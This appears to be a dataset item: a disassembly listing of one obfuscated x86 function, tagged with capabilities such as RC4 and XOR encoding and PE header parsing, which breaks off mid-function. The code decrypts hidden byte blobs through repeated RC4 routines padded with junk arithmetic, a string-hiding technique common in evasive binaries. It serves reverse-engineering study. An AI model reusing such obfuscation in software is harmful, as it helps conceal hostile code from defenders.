Function at 0x4444de
Capabilities:
Accept command line arguments
Encode data using xor
Encrypt data using rc4 ksa
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4a4
push esi
push edi
mov esi, 0x402684
mov dword [ebp - 0x120], edx
imul edx, dword [0x44ee98], 0xd396c1e0
lea edi, [ebp - 0x10]
push 0xd
pop eax
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x40], 0x5efcadaf
mov dword [ebp - 0x3c], 0x337a0969
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x38], 0x35155045
mov dword [ebp - 0x34], 0xd122b3f3
mov dword [ebp - 0x30], 0xb406a6f6
mov dword [ebp - 0xac], eax
mov byte [ebp - 0x2c], al
mov word [ebp - 0x2b], 0x337c
mov byte [ebp - 0x29], 0xa4
mov dword [0x44ee98], edx
movsb byte es:[edi], byte [esi]
mov eax, edx
xor eax, 0xf2390371
push eax
mov dword [0x44edac], eax
call fcn.0044251f
xor eax, eax
pop ecx
mov dword [ebp - 0x28], eax
mov ecx, eax
mov byte [ebp + ecx - 0x294], cl
inc ecx
cmp ecx, 0x100
jb 0x444563
mov ecx, str.Component_Categories
mov dword [ebp - 0x44], ecx
mov edx, ecx
mov cl, byte [str.Component_Categories]
jmp 0x444594
sub cl, 0x30
cmp cl, 9
ja 0x44467d
inc edx
mov cl, byte [edx]
test cl, cl
jne 0x444585
mov edi, dword [0x44ee98]
mov dword [ebp - 0x1c], edi
mov ecx, dword [0x44edac]
mov esi, eax
sub ecx, 0x1aea6d78
mov dword [ebp - 0xb4], ecx
mov dl, byte [ebp + esi - 0x294]
mov eax, esi
and eax, 7
movzx ecx, dl
movzx eax, byte [ebp + eax - 0x10]
add eax, dword [ebp - 0x28]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 0x28], ecx
mov al, byte [ebp + ecx - 0x294]
mov byte [ebp + esi - 0x294], al
inc esi
mov byte [ebp + ecx - 0x294], dl
cmp esi, 0x100
jb 0x4445b5
xor eax, eax
mov dword [ebp - 0x24], eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x24]
mov cl, byte [ebp + edi - 0x294]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x24], eax
mov al, byte [ebp + eax - 0x294]
mov byte [ebp + edi - 0x294], al
mov eax, dword [ebp - 0x24]
mov byte [ebp + eax - 0x294], cl
movzx eax, byte [ebp + edi - 0x294]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x294]
xor al, byte [ebp + esi - 0x40]
mov byte [ebp + esi - 0x2cc], al
inc esi
cmp esi, 0x18
jb 0x4445fb
mov cl, byte [str.Component_Categories]
mov edx, str.Component_Categories
mov edi, dword [ebp - 0x1c]
mov byte [ebp - 0x2b4], 0
test cl, cl
je 0x4446c1
mov al, cl
sub al, 0x30
cmp al, 9
ja 0x44468c
inc edx
mov al, byte [edx]
test al, al
jne 0x44466e
jmp 0x4446c1
imul edi, dword [0x44ee98], 0x4bad7d95
jmp 0x44459e
movzx eax, cl
mov esi, 0x1596
mov edx, str.Component_Categories
test cl, cl
je 0x4446c1
add esi, eax
inc edx
cmp esi, 0x1ece
ja 0x4446b1
movzx eax, byte [edx]
test eax, eax
jne 0x44469d
jmp 0x4446c1
mov edx, dword [ebp - 0xb4]
mov ecx, 0x4039f0
call fcn.0044260d
mov dword [ebp - 0xc], 0x39
and edi, 0x32c456b7
mov dword [ebp - 8], 0xffffff85
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x10], 0x24
movups xmm1, xmmword [ebp - 0x14]
push 0x4e
mov dword [0x44edac], edi
movaps xmm0, xmm1
mov dword [ebp - 0xc], 0xa
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [ebp - 8], 0xffffffa8
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
pop ecx
add eax, 0x1d
mov dword [ebp - 0x104], eax
xor eax, eax
add ecx, dword [ebp + eax*4 - 0xc]
inc eax
cmp eax, 2
jl 0x444725
mov dword [ebp - 0x108], ecx
lea eax, [edi - 0x68a1f0b8]
mov edx, edi
push eax
mov dword [0x44ee98], eax
call fcn.0044251f
pop ecx
push 5
xor eax, eax
mov dword [ebp - 0x18], 0x5d
pop esi
mov edx, eax
mov dword [ebp - 0x14], 0x2b
mov dword [ebp - 0x10], 3
mov ecx, eax
mov dword [ebp - 0xc], 0x29
mov dword [ebp - 8], 0xffffff4c
mov dword [ebp - 0xa8], esi
sub edx, dword [ebp + ecx*4 - 0x18]
inc ecx
cmp ecx, esi
jl 0x44477b
push 0x4e
pop edi
mov dword [ebp - 0x144], edx
mov ecx, eax
mov edx, eax
mov dword [ebp - 0x18], 0x18
mov dword [ebp - 0x14], 0x47
mov dword [ebp - 0x10], 0x5f
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], 0xfffffef4
sub edx, dword [ebp + ecx*4 - 0x18]
inc ecx
cmp ecx, esi
jl 0x4447b0
mov dword [ebp - 0x14], 0x39
xorps xmm2, xmm2
mov dword [ebp - 0x10], 0x2e
mov dword [ebp - 0xc], 0xc
mov dword [ebp - 8], 0xffffff6b
movups xmm1, xmmword [ebp - 0x14]
mov edi, dword [0x44ee98]
mov esi, edi
mov dword [ebp - 0x10], 0x54
movaps xmm0, xmm1
mov dword [ebp - 0xc], 0x43
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [ebp - 8], 0xffffff1f
movups xmm0, xmm1
mov dword [ebp - 0x14], 0x4a
psrldq xmm0, 4
paddd xmm1, xmm0
mov dword [ebp - 0x10c], edx
movups xmm0, xmmword [ebp - 0x14]
mov dword [ebp - 0x10], 0x5b
movd ecx, xmm1
xorps xmm1, xmm1
psubd xmm1, xmm0
mov dword [ebp - 0xc], 0x11
movaps xmm0, xmm1
mov dword [ebp - 8], 0xffffff94
psrldq xmm0, 8
add ecx, 0x22
paddd xmm1, xmm0
mov dword [ebp - 0x110], ecx
movups xmm0, xmm1
xor esi, 0xbe72eed4
psrldq xmm0, 4
mov ecx, eax
paddd xmm1, xmm0
movd dword [ebp - 0xb0], xmm1
sub ecx, dword [ebp + eax*4 - 0x10]
inc eax
cmp eax, 3
jl 0x444873
push 0x63
mov dword [ebp - 0x114], ecx
mov edx, 0x33b
mov eax, 0x4039f0
pop ecx
add edx, ecx
lea eax, [eax + 2]
cmp edx, 0xc2e
ja 0x4448a6
movzx ecx, word [eax]
test ecx, ecx
jne 0x444890
jmp 0x4448ac
lea edi, [esi - 0x6b3414cd]
xor edi, 0x27b2bf69
mov edx, edi
mov ecx, 0x4039f0
or edx, 0xf113299b
call fcn.0044260d
mov dword [ebp - 0x14], 0x48
movaps xmm1, xmm2
mov dword [ebp - 0x10], 7
or edi, 0x5a2cf02c
mov dword [ebp - 0xc], 0x2e
mov edx, edi
mov dword [ebp - 8], 0xcb7
xor edx, 0x5702e8a9
movups xmm0, xmmword [ebp - 0x14]
push 0x4d
pop ecx
psubd xmm1, xmm0
mov dword [ebp - 8], ecx
movaps xmm0, xmm1
mov dword [ebp - 0x14], 0x52
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [ebp - 0x10], 0x10
movups xmm0, xmm1
mov dword [ebp - 0xc], 8
psrldq xmm0, 4
paddd xmm1, xmm0
mov dword [ebp - 0xb4], edi
movups xmm0, xmmword [ebp - 0x14]
push 5
movd eax, xmm1
movaps xmm1, xmm2
paddd xmm1, xmm0
mov dword [ebp - 0x10], 0x39
movaps xmm0, xmm1
mov dword [ebp - 8], 0x40
psrldq xmm0, 8
add eax, 0xe38
paddd xmm1, xmm0
mov dword [ebp - 0x148], eax
movups xmm0, xmm1
mov dword [ebp - 0x14], 0x33
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
add eax, ecx
mov dword [ebp - 0x140], eax
pop eax
mov dword [ebp - 0xc], eax
movups xmm1, xmmword [ebp - 0x14]
push 0x12
mov dword [ebp - 0x10], 0x51
paddd xmm1, xmm2
mov dword [ebp - 0xc], 0xa
movaps xmm0, xmm1
mov dword [ebp - 8], 0x393
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
add eax, 0x53
mov dword [ebp - 0x17c], eax
pop eax
mov dword [ebp - 0x48], eax
mov esi, eax
xor eax, eax
mov ecx, eax
add esi, dword [ebp + ecx*4 - 0x10]
inc ecx
cmp ecx, 3
jl 0x4449d9
mov dword [ebp - 0x180], esi
lea edi, [ebp - 0x10]
mov esi, 0x402ec4
mov dword [ebp - 0xa0], 0x8a6f8d5d
push 0x37
pop ecx
and edx, 0x39c4990c
mov byte [ebp - 0x8b], cl
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x50], cl
mov ecx, eax
mov dword [ebp - 0x9c], 0xc066de9a
mov dword [ebp - 0x98], 0xaaee9222
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x94], 0x933e9aa8
mov dword [ebp - 0x90], 0xdc3d60f1
mov byte [ebp - 0x8c], 0x59
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x8a], 0xce0ddaf6
mov edi, eax
mov dword [ebp - 0x86], 0xcd855af4
mov dword [ebp - 0xa4], 0x5a
mov dword [ebp - 0x82], 0xa35df812
mov dword [ebp - 0x7e], 0x9253b7c5
mov dword [ebp - 0x7a], 0x3ec02424
mov dword [ebp - 0x76], 0x8e0f2411
mov dword [ebp - 0x72], 0x6f63f754
mov dword [ebp - 0x6e], 0x5b88db35
mov dword [ebp - 0x6a], 0x6a15a3ee
mov dword [ebp - 0x66], 0xe74233e8
mov dword [ebp - 0x62], 0xfe6e7502
mov dword [ebp - 0x5e], 0x9ecda894
mov dword [ebp - 0x5a], 0xd5e59672
mov dword [ebp - 0x56], 0x1cf166a0
mov word [ebp - 0x52], 0x93f0
mov dword [ebp - 0x4f], 0xa6272f81
mov word [ebp - 0x4b], 0x470
mov byte [ebp - 0x49], 0xbd
mov dword [ebp - 0x28], edx
mov dword [0x44ee98], edx
mov byte [ebp + ecx - 0x294], cl
inc ecx
cmp ecx, 0x100
jb 0x444ad8
mov esi, eax
mov dword [ebp - 0x24], 0xb
xor edx, edx
mov cl, byte [ebp + esi - 0x294]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x24]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x10]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x294]
mov byte [ebp + esi - 0x294], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x294], al
cmp esi, 0x100
jb 0x444af1
xor eax, eax
mov dword [ebp - 0x1c], eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x1c]
mov cl, byte [ebp + edi - 0x294]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x1c], eax
mov al, byte [ebp + eax - 0x294]
mov byte [ebp + edi - 0x294], al
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x294], cl
movzx eax, byte [ebp + edi - 0x294]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x294]
xor al, byte [ebp + esi - 0xa0]
mov byte [ebp + esi - 0x4a4], al
inc esi
cmp esi, 0x58
jb 0x444b3b
mov edi, 0x4039f0
mov edx, 0xfd0
push 0x63
mov eax, edi
pop ecx
add edx, ecx
lea eax, [eax + 2]
cmp edx, 0x3bd
ja 0x444bc6
movzx ecx, word [eax]
test ecx, ecx
jne 0x444ba5
mov eax, dword [ebp - 0xb4]
add eax, 0xcd0ec10c
jmp 0x444bed
mov esi, dword [ebp - 0x28]
mov ecx, edi
mov edx, esi
call fcn.0044260d
lea eax, [esi - 0x2d554040]
xor eax, 0xd0a219cd
mov dword [0x44edac], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add eax, 0x5a8274ff
imul edx, eax, 0x7a2589fc
mov dword [0x44ee98], eax
push edx
mov dword [0x44edac], edx
call fcn.0044251f
mov esi, 0x401aec
mov dword [ebp - 0x40], 0x5ffc27bc
lea edi, [ebp - 0x18]
mov dword [ebp - 0x3c], 0xbe44b4e
pop ecx
push 0x19
movsd dword es:[edi], dword [esi]
xor eax, eax
pop ecx
mov dword [ebp - 0x100], ecx
mov byte [ebp - 0x33], cl
movsd dword es:[edi], dword [esi]
push 5
pop ecx
mov byte [ebp - 0x2b], cl
mov ecx, eax
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x44c], al
mov dword [ebp - 0x38], 0x417a3655
mov byte [ebp - 0x34], 0x9a
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x32], 0xac2df5fa
mov word [ebp - 0x2e], 0xf01
mov byte [ebp - 0x2c], 0xbc
movsw word es:[edi], word [esi]
mov word [ebp - 0x2a], 0xd1cd
mov dword [ebp - 0x28], eax
movsb byte es:[edi], byte [esi]
mov byte [ebp + ecx - 0x294], cl
inc ecx
cmp ecx, 0x100
jb 0x444c63
mov esi, eax
mov eax, dword [0x44ee98]
add eax, 0x340194c9
mov dword [0x44edac], eax
xor edx, edx
mov cl, byte [ebp + esi - 0x294]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x48]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x18]
add eax, dword [ebp - 0x28]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 0x28], ecx
mov al, byte [ebp + ecx - 0x294]
mov byte [ebp + esi - 0x294], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + ecx - 0x294], al
cmp esi, 0x100
jb 0x444c84
xor eax, eax
mov dword [ebp - 0x1c], eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x1c]
mov cl, byte [ebp + edi - 0x294]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x1c], eax
mov al, byte [ebp + eax - 0x294]
mov byte [ebp + edi - 0x294], al
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x294], cl
movzx eax, byte [ebp + edi - 0x294]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x294]
xor al, byte [ebp + esi - 0x40]
mov byte [ebp + esi - 0x2e8], al
inc esi
cmp esi, 0x18
jb 0x444cd2
mov edi, dword [0x44ee98]
xor eax, eax
push 0x1a
pop ecx
mov esi, 0x4039f0
mov dword [ebp - 0x118], ecx
mov byte [ebp - 0xc], cl
mov edx, eax
mov byte [ebp - 0x2d0], al
mov ecx, esi
mov dword [ebp - 0xb], 0x8416607d
inc edx
lea ecx, [ecx + 2]
cmp edx, 0x87e
jg 0x444d67
cmp word [ecx], ax
jne 0x444d54
jmp 0x444d80
mov edx, dword [0x44edac]
push edx
call fcn.0044251f
mov edi, dword [0x44edac]
pop ecx
xor edi, 0xd39e033e
or edi, 0x48c95d3e
mov dword [0x44edac], edi
lea eax, [edi + 0x43928fde]
push 0xf15
mov dword [0x44ee98], eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [0x401ea8]
mov edx, esi
mov dword [ebp - 0x12c], eax
mov ax, word [0x401eac]
mov word [ebp - 0x128], ax
xor eax, eax
mov ecx, eax
inc ecx
lea edx, [edx + 2]
cmp ecx, 0x174c
je 0x444de7
cmp word [edx], ax
jne 0x444dc0
mov esi, dword [0x44edac]
cmp ecx, 0x22a0
jle 0x444df3
xor esi, 0x90ec635c
jmp 0x444df3
mov esi, dword [0x44ee98]
and esi, 0x52e4d4e7
add esi, 0x1e1f3377
mov dword [ebp - 0x28], eax
mov dword [ebp - 0xb4], esi
mov ecx, eax
mov dword [0x44edac], esi
mov byte [ebp + ecx - 0x294], cl
inc ecx
cmp ecx, 0x100
jb 0x444e0a
mov edi, eax
xor edx, edx
mov cl, byte [ebp + edi - 0x294]
mov eax, edi
mov byte [ebp - 1], cl
div dword [ebp - 0xa8]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x12c]
add eax, dword [ebp - 0x28]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 0x28], ecx
mov al, byte [ebp + ecx - 0x294]
mov byte [ebp + edi - 0x294], al
inc edi
mov al, byte [ebp - 1]
mov byte [ebp + ecx - 0x294], al
cmp edi, 0x100
jb 0x444e1c
xor eax, eax
mov dword [ebp - 0x1c], eax
mov esi, eax
mov edi, eax
lea eax, [esi + 1]
movzx esi, al
mov eax, dword [ebp - 0x1c]
push 5
mov cl, byte [ebp + esi - 0x294]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x1c], eax
mov al, byte [ebp + eax - 0x294]
mov byte [ebp + esi - 0x294], al
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x294], cl
movzx eax, byte [ebp + esi - 0x294]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x294]
xor al, byte [ebp + edi - 0xc]
mov byte [ebp + edi - 0x188], al
inc edi
pop eax
cmp edi, eax
jb 0x444e70
mov esi, dword [ebp - 0xb4]
mov edx, esi
or edx, 0x5d91f871
push esi
mov dword [0x44ee98], edx
call fcn.0044251f
mov dword [ebp - 0x14], 0x57
lea edi, [ebp - 0x10]
mov dword [ebp - 0x10], 0x26
mov esi, 0x4037e0
mov dword [ebp - 0xc], 0x22
xor eax, eax
mov dword [ebp - 8], 0xfffffefd
xorps xmm2, xmm2
movups xmm1, xmmword [ebp - 0x14]
pop ecx
movsd dword es:[edi], dword [esi]
movaps xmm0, xmm1
mov byte [ebp - 0x183], al
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [ebp - 0x88], 0x74b32394
movups xmm0, xmm1
movsd dword es:[edi], dword [esi]
psrldq xmm0, 4
paddd xmm1, xmm0
mov dword [ebp - 0x84], 0x1d18c8d2
movd ecx, xmm1
push 0x63
movsd dword es:[edi], dword [esi]
add ecx, 0x64
mov dword [ebp - 0x80], 0xbe063075
mov dword [ebp - 0x18c], ecx
mov edi, eax
pop ecx
push 0x12
pop edx
mov byte [ebp - 0x60], cl
mov byte [ebp - 0x49], cl
mov ecx, eax
mov dword [ebp - 0x7c], 0xe7162ba5
mov dword [ebp - 0x78], 0xc528b967
mov dword [ebp - 0x74], 0xc026e759
mov dword [ebp - 0x70], 0xc44a98e3
mov dword [ebp - 0x6c], 0x604be077
mov dword [ebp - 0x68], 0xd0d5871d
mov dword [ebp - 0x64], 0x8d8cb06e
mov dword [ebp - 0x5f], 0x33cc4293
mov dword [ebp - 0x5b], 0x30e73d7f
mov dword [ebp - 0x57], 0x2f6489f5
mov byte [ebp - 0x53], dl
mov dword [ebp - 0x52], 0x88bd51cc
mov dword [ebp - 0x4e], 0xf06a7bfc
mov byte [ebp - 0x4a], 0xab
mov byte [ebp + ecx - 0x294], cl
inc ecx
cmp ecx, 0x100
jb 0x444fc6
mov esi, eax
xor edx, edx
mov cl, byte [ebp + esi - 0x294]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x24]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x10]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x294]
mov byte [ebp + esi - 0x294], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x294], al
cmp esi, 0x100
jb 0x444fd8
xor eax, eax
mov dword [ebp - 0x24], eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x24]
mov cl, byte [ebp + edi - 0x294]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x24], eax
mov al, byte [ebp + eax - 0x294]
mov byte [ebp + edi - 0x294], al
mov eax, dword [ebp - 0x24]
mov byte [ebp + eax - 0x294], cl
movzx eax, byte [ebp + edi - 0x294]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x294]
xor al, byte [ebp + esi - 0x88]
mov byte [ebp + esi - 0x348], al
inc esi
cmp esi, 0x40
jb 0x445022
mov esi, dword [0x44ee98]
xor eax, eax
push 0x4f
mov byte [ebp - 0x308], al
xor esi, 0x8d1aed64
pop edx
mov dword [ebp - 0xc], 0x64
mov ecx, eax
mov dword [ebp - 8], 0xffffff4e
add edx, dword [ebp + ecx*4 - 0xc]
inc ecx
cmp ecx, 2
jl 0x4450a4
push 0x57
mov dword [ebp - 0x190], edx
mov ecx, eax
pop edi
mov dword [ebp - 0x10], 0x47
mov dword [ebp - 0xc], 0x46
mov dword [ebp - 8], 0xffffff1c
imul edx, esi, 0x5cd0b5b1
add edi, dword [ebp + ecx*4 - 0x10]
inc ecx
cmp ecx, 3
jl 0x4450d4
mov dword [ebp - 0x138], edi
mov ecx, eax
mov edi, 0x2800
mov dword [ebp - 0x10], 0x39
mov dword [ebp - 0xc], 0x51
mov dword [ebp - 8], 0x2376
sub edi, dword [ebp + ecx*4 - 0x10]
inc ecx
cmp ecx, 3
jl 0x445100
push 0x37
mov dword [ebp - 0x13c], edi
mov ecx, eax
mov dword [ebp - 0x10], 0x20
mov dword [ebp - 0xc], 0x25
mov dword [ebp - 8], 0x184
pop edi
add edi, dword [ebp + ecx*4 - 0x10]
inc ecx
cmp ecx, 3
jl 0x44512a
mov dword [ebp - 0x194], edi
mov ecx, eax
mov edi, eax
mov dword [ebp - 0x18], 0x2c
mov dword [ebp - 0x14], 0x1f
mov dword [ebp - 0x10], 0x52
mov dword [ebp - 0xc], 0x54
mov dword [ebp - 8], 0xffffff0f
sub edi, dword [ebp + ecx*4 - 0x18]
inc ecx
cmp ecx, 5
jl 0x445161
push 0x43
mov dword [ebp - 0xc4], edi
mov ecx, eax
pop edi
mov dword [ebp - 0x10], 0x61
mov dword [ebp - 0xc], 0xf
mov dword [ebp - 8], 0xffffff4d
add edi, dword [ebp + ecx*4 - 0x10]
inc ecx
cmp ecx, 3
jl 0x44518b
mov cl, byte [str.Component_Categories]
mov dword [ebp - 0x150], edi
mov dword [ebp - 0x10], 0x1c
mov dword [ebp - 0xc], 0xf
mov dword [ebp - 8], 0x6d
mov byte [ebp - 1], cl
push 0x43
pop edi
mov dword [ebp - 0x14], edi
test cl, cl
je 0x4451e5
inc eax
cmp eax, 0x2a3
jl 0x4451db
cmp byte [eax + str.Component_Categories], 0
jne 0x4451c3
cmp eax, 0x2637
jle 0x4451e5
mov ecx, 0x4039f0
call fcn.0044260d
add esi, 0x445da9eb
mov ecx, 0x4039f0
and esi, 0xd47002ce
mov edx, esi
mov dword [ebp - 0xa8], esi
call fcn.0044260d
movups xmm0, xmmword [ebp - 0x14]
mov dword [ebp - 0x10], 0x4e
movaps xmm1, xmm2
mov dword [ebp - 0xc], 0x48
paddd xmm1, xmm0
mov dword [ebp - 8], 0xffffff6a
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
add eax, 0x29
xor ecx, ecx
mov dword [ebp - 0x14c], eax
mov edx, ecx
lea eax, [esi + 0x5eb568b0]
mov dword [0x44edac], eax
mov eax, ecx
sub edx, dword [ebp + eax*4 - 0x10]
inc eax
cmp eax, 3
jl 0x445259
mov dword [ebp - 0x14], 0xb
movaps xmm1, xmm2
mov dword [ebp - 0x10], 0x4f
mov dword [ebp - 0xc], 8
mov dword [ebp - 8], 0x5b6
movups xmm0, xmmword [ebp - 0x14]
push 0x19
mov dword [ebp - 0x158], edx
mov edx, ecx
psubd xmm1, xmm0
mov dword [ebp - 0x18], 0x2d
movaps xmm0, xmm1
mov dword [ebp - 0xc], 0x13
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [ebp - 8], 0xffffff4d
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
add eax, 0x71c
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x14], eax
pop eax
push 5
mov dword [ebp - 0x10], eax
mov eax, ecx
pop esi
sub edx, dword [ebp + eax*4 - 0x18]
inc eax
cmp eax, esi
jl 0x4452e2
mov dword [ebp - 0x10], 0x48
movaps xmm1, xmm2
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], 0x2a
mov dword [ebp - 0x14], 0x4e
movups xmm0, xmmword [ebp - 0x14]
mov dword [ebp - 0x160], edx
mov edx, ecx
mov dword [ebp - 0x10], 0x21
paddd xmm1, xmm0
mov dword [ebp - 0xc], 0x42
movaps xmm0, xmm1
mov dword [ebp - 8], 0xffffff9d
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
inc eax
mov dword [ebp - 0x15c], eax
mov eax, ecx
sub edx, dword [ebp + eax*4 - 0x10]
inc eax
cmp eax, 3
jl 0x445350
mov eax, dword [ebp - 0xa4]
movaps xmm1, xmm2
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0x51
mov dword [ebp - 8], 0x1f0a
mov dword [ebp - 0x14], 0x4b
movups xmm0, xmmword [ebp - 0x14]
mov dword [ebp - 0x16c], edx
mov edx, 0x1e00
mov dword [ebp - 0x10], 0x1e
psubd xmm1, xmm0
mov dword [ebp - 0xc], 7
movaps xmm0, xmm1
mov dword [ebp - 8], 0x1bdb
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
add eax, 0x2400
mov dword [ebp - 0x168], eax
mov eax, ecx
sub edx, dword [ebp + eax*4 - 0x10]
inc eax
cmp eax, 3
jl 0x4453cc
mov esi, 0x4037ec
mov dword [ebp - 0x164], edx
lea edi, [ebp - 0x14]
mov dword [ebp - 0x40], 0xb5879b4
push 0xd
pop eax
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x2c], al
mov eax, ecx
mov dword [ebp - 0x3c], 0x56226e9a
mov dword [ebp - 0x38], 0x29dc754a
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x34], 0xf2cf1b65
mov dword [ebp - 0x30], 0x6658cc54
mov word [ebp - 0x2b], 0x1f2e
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x29], 0xe2
movsw word es:[edi], word [esi]
mov edi, ecx
mov byte [ebp + eax - 0x294], al
inc eax
cmp eax, 0x100
jb 0x445420
mov esi, ecx
xor edx, edx
mov cl, byte [ebp + esi - 0x294]
mov eax, esi
mov byte [ebp - 0x1d], cl
div dword [ebp - 0xac]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x14]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x294]
mov byte [ebp + esi - 0x294], al
inc esi
mov al, byte [ebp - 0x1d]
mov byte [ebp + edi - 0x294], al
cmp esi, 0x100
jb 0x445431
xor eax, eax
mov dword [ebp - 0x24], eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x24]
mov cl, byte [ebp + edi - 0x294]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x24], eax
mov al, byte [ebp + eax - 0x294]
mov byte [ebp + edi - 0x294], al
mov eax, dword [ebp - 0x24]
mov byte [ebp + eax - 0x294], cl
movzx eax, byte [ebp + edi - 0x294]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x294]
xor al, byte [ebp + esi - 0x40]
mov byte [ebp + esi - 0x2b0], al
inc esi
cmp esi, 0x18
jb 0x44547e
mov ecx, dword [ebp - 0xa4]
xor eax, eax
push 6
mov dword [ebp - 0x10], ecx
mov ecx, eax
mov byte [ebp - 0x298], al
pop edx
mov dword [ebp - 0xc], 0x47
mov dword [ebp - 8], 0xffffff59
add edx, dword [ebp + ecx*4 - 0x10]
inc ecx
cmp ecx, 3
jl 0x4454fa
mov esi, dword [ebp - 0xa8]
mov ecx, 0x4039f0
or esi, 0xb2e53857
mov dword [ebp - 0x170], edx
push 0x63
mov dword [0x44ee98], esi
mov edx, 0x16e5
pop edi
add edx, edi
lea ecx, [ecx + 2]
cmp edx, 0xaad
ja 0x44553f
movzx edi, word [ecx]
test edi, edi
jne 0x445529
jmp 0x445572
push esi
mov edx, esi
call fcn.0044251f
mov esi, dword [0x44ee98]
mov edx, dword [0x44edac]
or esi, 0x6c771e28
pop ecx
mov ecx, 0x4039f0
call fcn.0044260d
mov cl, byte [str.Component_Categories]
xorps xmm2, xmm2
mov byte [ebp - 1], cl
xor eax, eax
or esi, 0xfbf17fb5
mov dword [ebp - 0x10], 0x45
mov dword [ebp - 0xc], 0x3a
mov dword [ebp - 8], 0xffffff76
lea edx, [esi + 0x5d7a42ad]
mov ecx, edx
and ecx, 0x2b372fd3
push 0xb
mov dword [ebp - 0xac], ecx
mov dword [0x44edac], ecx
mov ecx, eax
pop esi
add esi, dword [ebp + ecx*4 - 0x10]
inc ecx
cmp ecx, 3
jl 0x4455ac
push 5
mov dword [ebp - 0x24], esi
mov ecx, eax
mov esi, 0x3c00
mov dword [ebp - 0x18], 2
mov dword [ebp - 0x14], 0x1e
mov dword [ebp - 0x10], 0x15
mov dword [ebp - 0xc], 6
mov dword [ebp - 8], 0x37c5
pop edi
sub esi, dword [ebp + ecx*4 - 0x18]
inc ecx
cmp ecx, edi
jl 0x4455e6
mov dword [ebp - 0x10], 0x5f
movaps xmm1, xmm2
mov dword [ebp - 0xc], 0x58
mov edi, 0x1600
mov dword [ebp - 8], 0x1307
mov dword [ebp - 0x14], 0x42
movups xmm0, xmmword [ebp - 0x14]
push 0x5d
mov dword [ebp - 0x174], esi
psubd xmm1, xmm0
mov dword [ebp - 0x10], 0x35
movaps xmm0, xmm1
mov dword [ebp - 0xc], 0x46
psrldq xmm0, 8
paddd xmm1, xmm0
